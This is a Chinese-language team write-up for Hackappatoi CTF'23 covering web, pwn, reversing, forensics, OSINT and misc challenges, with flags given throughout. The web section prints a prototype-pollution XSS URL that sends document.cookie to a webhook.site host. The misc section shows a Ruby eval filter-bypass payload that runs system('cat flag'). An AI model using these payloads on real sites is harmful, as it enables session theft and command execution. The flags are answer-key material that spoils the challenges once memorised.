# Hackappatoi CTF'23 CakeisTheFake write-up ###### tags: `write-up` {%hackmd M1bgOPoiQbmM0JRHWaYA1g %} # Web ## Forza napolia > [name=whale120] 一個網站,分為兩部分,一個是回報連結然後會檢查是否來自他們的host,另一個則是可以透過url參數做查詢,有xss防護。 source: ```js= const bot = require("../bot"); function isValidUrl(url) { let regex = /^(http|https):\/\/(www\.){0,1}forzanapoli.hackappatoi.com/i; return regex.test(url) && !url.includes("@"); } async function router(fastify, options) { fastify.get("/", async (request, reply) => { return reply.sendFile("index.html"); }); fastify.get("/share", async (request, reply) => { return reply.sendFile("share.html"); }); fastify.post("/share", async (request, reply) => { let { url } = request.body; console.log("\nSHARE"); console.log("original url:", url); if (url && typeof url == "string" && url != "") { let valid = isValidUrl(url); console.log("valid url:", valid); if (valid) { bot.checkUrl(url); // Set the cookies and visit url return reply.view("/templates/success.ejs", { message: "The admin will check your link ASAP. Thanks!" }); } else { return reply.view("/templates/success.ejs", { message: "Invalid URL! You are not a real Napoli fan 😡" }); } } return reply.code(400).type("text/html").view("/templates/error.ejs", { code: 400, message: "Missing parameters :(", }); }); fastify.setNotFoundHandler((request, reply) => { reply.code(404).type("text/html").view("/templates/error.ejs", { code: 404, message: "Page not found :(", }); }); } module.exports = () => { return router; }; ``` 賽中沒有做出來有點可惜,不過現在學會啦~~ 參考jquery的這份弱點就可以透過proto pollution構造payload引發xss: https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md payload: ``` https://forzanapoli.hackappatoi.com/?__proto__[preventDefault]=x&__proto__[handleObj]=x&__proto__[delegateTarget]=%3Cimg/src/onerror%3dfetch(%27//webhook.site/14e00053-0cc1-4bb0-b9d5-81cb05f1f1a4?1337%27%2Bbtoa(document.cookie))%3E&name=1 ``` # Pwn ## Pizza Spaghetti Espresso > [name=whale120] 一個很**另類**的猜拳遊戲,而玩家必須完美十場全勝才可以拿shell 所有防護只有PARTIAL RELRO跟STACK CANARY不存在有弱點。 先把執行檔丟到ghidra: ![image](https://hackmd.io/_uploads/Sy27h1fUT.png) 此外,讀取的時候也都會乖乖只讀取十六個字元,也沒辦法利用前面說的弱點打Buffer Overflow之類的。 經過觀察,發現每次都是用時間作為種子產生`rand()`,這時就嘗試寫一個執行黨用相同方式產生亂數: ```c= #include <stdio.h> #include<stdlib.h> #include<time.h> void hack(int x){ if(x==0){ printf("Pizza\n"); } if(x==1){ printf("Espresso\n"); } if(x==2){ printf("Spaghetti\n"); } } int main(void) { // your code goes here //["Pizza", "Espresso", "Spaghetti"]; time_t t=time(0); srand(((unsigned int)t)); for (int i=0;i<10;i++){ hack((rand()+1)%3); } return 0; } ``` 接著在本地同時執行: `./localpsehacker && ./pse` 可以成功預測到最後並get shell,最後丟`nc`,remote的時候`time_t`值我有加一因為會有執行檔結束到連線之間的時間差。 `./psehacker && nc 92.246.89.201 10001` ![image](https://hackmd.io/_uploads/Sy_LBkQUa.png) # Reverse ## Thefourhorseman > [name=FlyDragon] flag 就在 sub_11C9() 蠻無聊的 ![image](https://hackmd.io/_uploads/H1-1noUU6.png) > FLAG : `hctf{youre_ready_to_stop_the_apocalypse}` ## Thefirsthorseman > [name=FlyDragon] 是個 .pyc 檔案,但 python 版本 > 3.9 不能用 uncompyle6,所以用 pycdc 還原成 .py 檔案 ```py= from time import sleep import codecs print("You've inserted the key you found on the mysterious Laptop and you've been teleported to a place you don't know.") print('All you can see is an enormous door keeping a castle safe. You approach it and with a bit of fear proceed to open it.') print('In the middle of the hall you see a funny man, it seems the court jester, but still he scares you.') print("'SHISH, SHISH' is the only thing he says, and now you realize he is the first horseman, ready to stop you from reaching further in your mission.") print('The man walks towards you and tries to hit you multiple times! Avoid his punches!\n') def shish(): exit("The funny man manages to hit you. You fall on the ground.\nYou don't remember anything. All you know now is a word...\nSHISH\n") f = [ 'r3st', '4s_a', 'b3_c', 'm4tt', 'l3t_'] l = [ '4ll0', '30_1', '7t3_', 'jkin', 'p1ck'] a = [ '5_th', '3_4n', '1t_1', '00p5', '1n_1'] g = [ 'p1_7', '3_w0', 't0g3', '00_k', 'n0th'] s = [ 'ear5', 'k!1!', '1n6!', '33p5', 'rd_!'] counter = 0 indexes = [] def print_flag(): flag = '' flag += f[indexes[0]] flag += l[indexes[1]] flag += a[indexes[2]] flag += g[indexes[3]] flag += s[indexes[4]] flag = 'upgs{' + flag + '}' flag = codecs.encode(flag, 'rot13') print(flag) try: for t in range(1, 6): print(f'''{t}...''') counter = t sleep(1) shish() finally: pass except KeyboardInterrupt: if counter == 4: print('\nYou dodged it\n') indexes.append(counter - 1) else: shish() try: for t in range(1, 6): print(f'''{t}...''') counter = t sleep(1) shish() finally: pass except KeyboardInterrupt: if counter == 2: print('\nYou dodged it\n') indexes.append(counter - 1) else: shish() try: for t in range(1, 6): print(f'''{t}...''') counter = t sleep(1) shish() finally: pass except KeyboardInterrupt: if counter == 1: print('\nYou dodged it\n') indexes.append(counter - 1) else: shish() try: for t in range(1, 6): print(f'''{t}...''') counter = t sleep(1) shish() finally: pass except KeyboardInterrupt: if counter == 2: print('\nYou dodged it\n') indexes.append(counter - 1) else: shish() try: for t in range(1, 6): print(f'''{t}...''') counter = t sleep(1) shish() finally: pass except KeyboardInterrupt: if counter == 5: print('\nYou dodged it\n') indexes.append(counter - 1) else: shish() print('The man is tired, he just hands you a slip of paper, to open the next door.\nThis is what you read') print_flag() print("The man then says his last words...\n 'https://youtu.be/XH0CSzdHwg0?si=DOwRhOnorrc-WWIx'") ``` > FLAG: `hctf{z4gg30_15_gu3_j0eq_!}` ## Thesecondhorseman > [name=FlyDragon] 把判斷 patch 掉就好,忘記留原始檔案ㄌQQ > FLAG: `hctf{www.youtube.com/watch?v=hnBuaJDNagU}` ## Thefinalhorseman > [name=FlyDragon] 輸出的方式是 flag 拆成很多個 function,直接去偷 ![image](https://hackmd.io/_uploads/BkwBAjILp.png) > FLAG: `hctf{https://youtu.be/vXejrAXXmkU}` ## Una quotidiana guerra 給了一個滿滿毒瘤`#define`的怪異source code: ```c= #include <stdio.h> #include <stdlib.h> #include <string.h> #define tu int #define dimmi #define come #define mai #define kilometri #define melodia #define sus #define inutile #define inutilestimai #define qui #define seduto #define notti #define alla #define sento #define sogno #define pregando #define non #define scrivere #define ma #define casa #define vedere #define dove #define vai notti quotidiana inutile inutilestimai alla "abcdefghijklmnopqrstuvwxyz.:_-=/{}ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" sus notti guerra inutile inutilestimai alla "HDVIC8tq8}Es/{-}JOPJAHHJQ.=Y5rAHJWEtRgSc" sus tu stanza come notti finiscono mai qui sogno come tu i alla 0 sus i non pregando come quotidiana mai sus i scrivere mai qui ma come finiscono casa quotidiana inutile i inutilestimai mai qui melodia i sus seduto seduto melodia 0 sus seduto sento bambino come mai qui sogno come tu i alla 0 sus i non pregando come guerra mai sus i scrivere mai qui guerra inutile i inutilestimai alla quotidiana inutile come stanza come guerra inutile i inutilestimai mai vedere pregando come quotidiana mai dove i mai vai pregando come quotidiana mai inutilestimai sus seduto kilometri come "%s\n", guerra mai sus seduto tu dimmi come mai qui kilometri come "Kilometri di kilometri di kilometri di kilometri\n" mai sus bambino come mai sus melodia 0 sus seduto ``` 大概可以通靈一下之後發現結尾的sus是分號,一開始定義charset的`notti`是char,然後緊接著的`inutile inutilestimai alla `分別應該是`[]=`,再從sus和0的出現位置猜測有for迴圈,`sogno come tu i alla 0`是`for(int i=0`等等的,即可還原程式碼。 還原結果: (中間有改一些東西因為本來flag只會跑到一半qq) ```c= #include <stdio.h> #include <stdlib.h> #include <string.h> char quotidiana [ ] = "abcdefghijklmnopqrstuvwxyz.:_-=/{}ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ; char guerra [ ] = "HDVIC8tq8}Es/{-}JOPJAHHJQ.=Y5rAHJWEtRgSc" ; int stanza ( char finiscono ) { for ( int i = 0 ; i < strlen ( quotidiana ) ; i ++ ) { if ( finiscono == quotidiana [ i ] ) { return i ; } } return 0 ; } void bambino ( ) { for ( int i = 0 ; i < strlen ( guerra ) ; i ++ ) { guerra [ i ] = quotidiana [ ( stanza ( guerra [ i ] ) + strlen ( quotidiana ) - i ) % strlen ( quotidiana ) ] ; printf("%d\n", i); } printf ( "%s\n", guerra ) ; } int main ( ) { printf ( "Kilometri di kilometri di kilometri di kilometri\n" ) ; bambino ( ) ; return 0 ; } ``` # Forensic ## The Enzo's piece > [name=naup96321] 他給了你一個Minecraft地圖檔,並且提敘說有人身體不好,然後他在那個位置有留下東西,所以我猜測他應該是要想辦法查出那個玩家的上次死亡座標。 如果要查到其他玩家上次的死亡座標的話可以使用`NBTExplorer` https://sourceforge.net/projects/nbtexplorer.mirror/ 你可以對該地圖檔進行操作,其中包括可以在`playerdata`中找到最新一次的死亡位置 ![image](https://hackmd.io/_uploads/ByHIr0WL6.png) 位置在`-1122 52 -340` ![image](https://hackmd.io/_uploads/HkERBCWLa.png) 直接走過去就可以拿到flag了 ![image](https://hackmd.io/_uploads/HknxP0ZU6.png) **這題我那時候用tp會讓告示牌被破壞,所以我是用走的,另外記得要開1.20.2** > FLAG : HCTF{Th3_On3_P13c3_Is_R34l!!!} # OSINT ## Why Not?(Naples) > [name=naup96321] 他給了一個影片要我找這是哪間hotel https://www.youtube.com/watch?v=ugzma5lx910 透過他的影片跟提敘發現有3個線索,分別是Justin Bieber、Napoli跟這部影片 https://www.youtube.com/watch?v=o9nrxDeUss4&t=428s 之後我查到了新聞發現他在Grand Hotel Vesuvio。 另外也可以透過線索的影片找到他的名字 ![未命名](https://hackmd.io/_uploads/ByL3iRW8T.jpg) >FLAG : hctf{Grand_Hotel_Vesuvio} ## Italian mails(Origins) > [name=naup96321] 這題給了一個影片,要我找到這條街的名字 https://www.youtube.com/watch?v=rNta7FLxq8s 從中可以看到一個蠻明顯的線索`post italiane` ![image](https://hackmd.io/_uploads/HJOuhCZ8a.png) 並且我嘗試尋找其他影片->關鍵字:Enzo Tommasi 找到了他在`Ostia` ![image](https://hackmd.io/_uploads/SkL7T0Z86.png) 最後用google map 尋找Ostia的post italiane,用街景最終確定在Via Ferdinando Acton 44 ![image](https://hackmd.io/_uploads/r1qaaCb8a.png) >FLAG : hctf{Via_Ferdinando_Acton_44} ## The meninges > [name=naup96321] >Flag : hctf{Viale_della_Stella_Polare} ## Telecamere? > [name=naup96321] >Flag : hctf{Via_San_Biagio_di_Val_Polcevera_Genova} ## The third horseman > [name=naup96321] >Flag : ## Sunkissed Enzo > [name=naup96321] >Flag : hctf{via_della_tolda} # Misc ## Ghost Image > [name=naup96321] 直接將他給的兩層CSS調透明度疊圖就可以看到flag了 ![image](https://hackmd.io/_uploads/BkXS_3aLp.png) ![image](https://hackmd.io/_uploads/Hy84d0bL6.png) >Flag : HCTF{M4MMAMIA_SO_M4NY_SHADOW8OXES_IN_TH1S_CSS} ## Escape from italy > [name=naup96321] 嘗試去看flag.txt他叫我們去讀key,去讀key後發現他輸出key是guera,然後她告訴我有東西在port 8889,所以我嘗試連過去 ![image](https://hackmd.io/_uploads/ByrRd2TLp.png) 首先他要我們輸入key,之後可以輸入command,但很多東西都被過濾掉了,所以我嘗試測試有哪些是可以用的 ![image](https://hackmd.io/_uploads/rJNvuCbLp.png) 最後發現可以用eval、數字、以及一些符號,所以我嘗試去研究ruby的一些特性(因為報錯是ruby的),後來發現<<可以用來連接字串,且將數字寫入到字串會轉ASCII 最後我的payload ``` eval(''<<115<<121<<115<<116<<101<<109<<40<<39<<99<<97<<116<<32<<102<<108<<97<<103<<39<<41) ``` >Flag : HCTF{1s_d1z_r34l1ty_0r_F1c710n?} ## Cornetto Compression > [name=naup96321] 根據他的範例我知道了他用了特殊的方法將所有圖片疊成一張,只要使用stegonline就可以一張一張的分離出來,最後拼在一起就是 ![image](https://hackmd.io/_uploads/S1qzuC-UT.png) >Flag : HCTF{W3LL_DONE_M4TE_C1CCI0G4M3R_IS_PROUD_0F_YOU_N3XT_TIM3_BRING_M3_A_CORNETO_WITH_NUTELL4}